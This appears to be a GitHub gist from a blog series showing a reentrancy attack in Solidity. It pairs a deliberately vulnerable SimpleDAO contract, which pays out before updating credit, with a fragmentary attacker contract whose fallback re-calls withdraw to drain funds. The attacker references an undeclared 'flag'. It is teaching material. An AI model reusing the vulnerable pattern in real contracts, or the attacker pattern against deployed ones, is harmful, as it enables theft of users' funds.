Day 15 of 20 Days Blog series.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "./SimpleDAO.sol"; | |
contract attacker{ | |
SimpleDAO DAO = new SimpleDAO(); // address of already deployed DAO contract | |
address a = address(DAO); | |
function() public payable{ | |
if(flag) DAO.withdraw(DAO.retbalance()); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract SimpleDAO { | |
mapping (address => uint) public credit; | |
function() public payable{ | |
} | |
function deposit(uint256 _amount) payable public{ | |
credit[msg.sender] += _amount; | |
} | |
function withdraw(uint amount) public{ | |
if (credit[msg.sender]>= amount) { | |
(msg.sender.call.value(amount)()); | |
credit[msg.sender]-=amount; | |
} | |
} | |
function queryCredit(address to) view public returns(uint){ | |
return credit[to]; | |
} | |
function retbalance() public returns(uint256 _A){ | |
return address(this).balance; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment